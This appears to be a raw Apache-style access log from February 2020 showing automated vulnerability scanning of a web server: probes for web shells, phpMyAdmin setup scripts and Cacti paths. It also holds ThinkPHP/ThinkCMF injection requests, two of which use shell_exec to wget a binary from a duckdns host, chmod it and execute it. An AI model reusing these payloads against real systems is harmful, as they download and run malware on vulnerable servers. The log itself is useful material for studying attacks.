113.22.43.215 - - [10/Feb/2020:13:31:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.217.134.138 - - [10/Feb/2020:13:31:31 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
139.217.134.138 - - [10/Feb/2020:13:31:32 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:13:31:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.217.134.138 - - [10/Feb/2020:13:31:32 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:33 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:34 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:35 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:35 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:35 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:36 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:38 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:38 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:39 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:39 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:39 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:40 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:42 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:42 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:43 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:43 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:43 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:47 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:47 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:47 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:48 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:49 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:50 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:51 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:51 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:51 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:52 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:52 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:53 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:54 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:55 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:55 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:55 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:56 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:58 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:59 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:59 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:31:59 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:00 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:00 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:01 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:02 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:03 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:03 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:03 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:04 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:04 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
34.90.62.109 - - [10/Feb/2020:13:32:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.217.134.138 - - [10/Feb/2020:13:32:05 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:06 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:07 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:07 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:07 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:08 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
54.36.148.9 - - [10/Feb/2020:13:32:09 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
139.217.134.138 - - [10/Feb/2020:13:32:09 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
54.36.150.85 - - [10/Feb/2020:13:32:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
139.217.134.138 - - [10/Feb/2020:13:32:10 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:11 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:11 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:11 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:15 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:15 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:15 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:17 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:19 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:19 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:19 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:20 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:21 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:21 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:22 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:23 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:23 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:23 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:27 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:27 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:27 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:28 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:29 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:30 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:30 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:31 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:31 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:31 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:32 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:13:32:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.217.134.138 - - [10/Feb/2020:13:32:33 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:34 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:35 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:35 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:35 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:36 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:36 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:39 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:39 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:39 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:40 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:40 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:41 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:42 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:43 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:43 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
